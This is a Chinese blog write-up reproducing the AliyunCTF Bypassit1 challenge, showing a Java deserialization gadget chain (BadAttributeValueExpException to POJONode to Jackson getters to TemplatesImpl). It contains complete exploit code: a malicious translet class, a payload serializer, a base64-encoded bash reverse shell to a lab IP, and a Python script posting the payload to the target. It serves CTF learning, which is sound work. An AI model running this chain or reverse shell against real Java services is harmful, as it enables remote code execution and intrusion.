AliyunCTF Bypassit1复现

Bypassit1

题目信息

给了Jar包,用JD-GUI反编译以后可以看到源码。
主要逻辑很简单,直接给一个反序列化的点。
image.png
检查pom.xml,如果有CC依赖给我们用是最好,这里都没得,只有一个springboot启动依赖
image.png
这意味着,我们只能从JDK和springboot启动依赖里去找利用链,引出今天的主题Jackson反序列化
image.png

利用思路

defineClass:185, TemplatesImpl$TransletClassLoader defineTransletClasses:414, TemplatesImpl getTransletInstance:451, TemplatesImpl newTransformer:486, TemplatesImpl getOutputProperties:507, TemplatesImpl invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:497, Method serializeAsField:689, BeanPropertyWriter serializeFields:774, BeanSerializerBase serialize:178, BeanSerializer defaultSerializeValue:1142, SerializerProvider serialize:115, POJONode serialize:39, SerializableSerializer serialize:20, SerializableSerializer _serialize:480, DefaultSerializerProvider serializeValue:319, DefaultSerializerProvider serialize:1518, ObjectWriter$Prefetch _writeValueAndClose:1219, ObjectWriter writeValueAsString:1086, ObjectWriter nodeToString:30, InternalNodeMapper toString:136, BaseJsonNode readObject:86, BadAttributeValueExpException invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:497, Method invokeReadObject:1058, ObjectStreamClass readSerialData:1900, ObjectInputStream readOrdinaryObject:1801, ObjectInputStream readObject0:1351, ObjectInputStream readObject:371, ObjectInputStream unserialize:50, Test main:36, Test

TemplatesImpl代码执行

首先是,CC3里提到的TemplatesImpl实现代码执行的前半段,这里只给链子
lassLoader.defineClass()->
TemplatesImpl#defineClass()->
TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties
问题转换成,调用TemplatesImpl#getOutputProperties

ObjectMapper#writeValueAsString触发序列化对象的任意getter

先说结论,Jackson#writeValueAsString把传入对象转json时,会递归调用对象的所有getter来取属性的值。

serializeAsField:688, BeanPropertyWriter serializeFields:774, BeanSerializerBase serialize:178, BeanSerializer _serialize:480, DefaultSerializerProvider serializeValue:319, DefaultSerializerProvider _writeValueAndClose:4568, ObjectMapper writeValueAsString:3821, ObjectMapper main:7, Test1

image.png
尝试编写Exp,用objectMapper#writeValueAsString去触发templates的getter,进而弹出计算器

package com.ctf.bypassit; import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class Test { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); //设置变量,确保函数流程走通 setFieldValue(templates,"_name","Jasper"); //code是要传的恶意代码 byte[] code = Files.readAllBytes(Paths.get("D:\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //触发调用函数 ObjectMapper objectMapper = new ObjectMapper(); objectMapper.writeValueAsString(templates); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }

image.png
问题转换成,怎么调用ObjectMapper#writeValueAsString(templates)

POJONode#toString触发ObjectMapper#writeValueAsString

image.png
问题转换成,怎么调用POJONode#toString

BadAttributeValueExpException#readObject触发val#toString

找到了反序列化链的入口类BadAttributeValueExpException,只需反射给val赋值成pojoNode即可。
image.png

注意事项

在序列化payload的时候,BaseJsonNode#writeReplace(POJONode的父类)的writeReplace会触发链条。
自己去跟序列化的逻辑去调试也能发现,这里解决办法是写一个同包名的Class,然后把writeReplace()注释掉。
感觉像是利用了加载顺序的问题,这里就不过多分析了。
image.png

本地Exp

// javac Calc.java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; // 继承这个接口是必不可少的哦 public class Calc extends AbstractTranslet { { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
package com.ctf.bypassit; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class Test { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); //设置变量,确保函数流程走通 setFieldValue(templates,"_name","Jasper"); //code是要传的恶意代码 byte[] code = Files.readAllBytes(Paths.get("D:\\Calc.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //触发调用函数 // ObjectMapper objectMapper = new ObjectMapper(); // objectMapper.writeValueAsString(templates); POJONode pojoNode = new POJONode(templates); // pojoNode.toString(); BadAttributeValueExpException bavee = new BadAttributeValueExpException(null); setFieldValue(bavee,"val",pojoNode); serialize(bavee); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }

image.png

远程Exp

Runtime.getRuntime().exec()命令不回显,需要反弹shell,这里注意反弹shell的命令是怎么编写的。
下面是生成Exec.class,动态类加载用的,代码执行

// javac Exec.java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Exec extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcyLjEyOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"); // Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

下面是生成序列化的文件object.ser,给后面python脚本传payload用的

package com.ctf.bypassit; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class Test { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); //设置变量,确保函数流程走通 setFieldValue(templates,"_name","Jasper"); //code是要传的恶意代码 byte[] code = Files.readAllBytes(Paths.get("D:\\Exec.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory // setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //触发调用函数 // ObjectMapper objectMapper = new ObjectMapper(); // objectMapper.writeValueAsString(templates); POJONode pojoNode = new POJONode(templates); // pojoNode.toString(); BadAttributeValueExpException bavee = new BadAttributeValueExpException(null); setFieldValue(bavee,"val",pojoNode); serialize(bavee); // unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); } public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); //反序列化执行readObject()方法 Object o = ois.readObject(); ois.close(); fis.close(); System.out.println("反序列化完成..."); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }

用pyhton读文件发payload,主要是这个题没base64编码,直接ctrl+cv怕有特殊字符问题,本来反弹shell就对payload的要求很高了,写脚本发送减少踩坑的可能。

import requests url = "http://192.168.72.129:12346/bypassit" data = open("object.ser", "rb") res = requests.post(url, data=data) print(res.text)

image.png
image.png

小结

bypassit1这道题,给出了如果没有额外依赖,getshell的一种方法。
知识点:

  • Jackson#序列化,会调用序列化对象的任意getter
  • PojoNode#toString会调到Jackson#序列化函数
  • BadAttributeValueExpException#readObject可以调任意对象的toString
  • Java反弹shell命令写法

参考链接

Jackson反序列化原理
Bypassit1利用链解析
大头师傅的复现计划


__EOF__

本文作者Jasper
本文链接https://www.cnblogs.com/jasper-sec/p/17880636.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Jasper_sec  阅读(238)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)
点击右上角即可分享
微信分享提示